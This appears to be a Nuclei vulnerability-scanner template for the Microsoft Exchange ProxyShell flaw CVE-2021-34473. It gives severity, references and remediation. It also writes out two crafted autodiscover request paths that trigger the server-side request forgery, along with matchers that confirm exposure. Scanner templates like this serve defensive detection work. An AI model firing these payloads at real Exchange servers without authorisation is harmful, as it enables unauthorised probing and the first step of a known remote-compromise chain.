45 lines
2.1 KiB
YAML
45 lines
2.1 KiB
YAML
id: CVE-2021-34473
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info:
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name: Exchange Server - Remote Code Execution
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author: arcc,intx0x80,dwisiswant0,r3dg33k
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severity: critical
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description: |
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Microsoft Exchange Server is vulnerable to a remote code execution vulnerability. This CVE ID is unique from CVE-2021-31196, CVE-2021-31206.
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected Exchange Server, potentially leading to a complete compromise of the system.
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remediation: Apply Microsoft Exchange Server 2019 Cumulative Update 9 or upgrade to the latest version.
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reference:
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- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473
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- https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html
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- https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1
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- https://nvd.nist.gov/vuln/detail/CVE-2021-34473
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- https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34473
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
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cvss-score: 9.1
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cve-id: CVE-2021-34473
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cwe-id: CWE-918
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epss-score: 0.97078
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epss-percentile: 0.99722
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cpe: cpe:2.3:a:microsoft:exchange_server:2013:cumulative_update_23:*:*:*:*:*:*
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metadata:
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max-request: 2
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vendor: microsoft
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product: exchange_server
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tags: cve2021,cve,ssrf,rce,exchange,kev,microsoft
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http:
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- method: GET
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path:
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- '{{BaseURL}}/autodiscover/autodiscover.json?@test.com/owa/?&Email=autodiscover/autodiscover.json%3F@test.com'
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- '{{BaseURL}}/autodiscover/autodiscover.json?@test.com/mapi/nspi/?&Email=autodiscover/autodiscover.json%3F@test.com'
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matchers:
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- type: word
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part: body
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words:
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- "Microsoft.Exchange.Clients.Owa2.Server.Core.OwaADUserNotFoundException"
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- "Exchange MAPI/HTTP Connectivity Endpoint"
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condition: or
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# digest: 4b0a004830460221009e592721562310b9605b371255e5807b4d678737fddc8eff0a42d75d011e9426022100f3077e8cfb8c3d494410bb6ddda6983840215fa3b8c20d28ee2e29d8db29154d:922c64590222798bb761d5b6d8e72950 |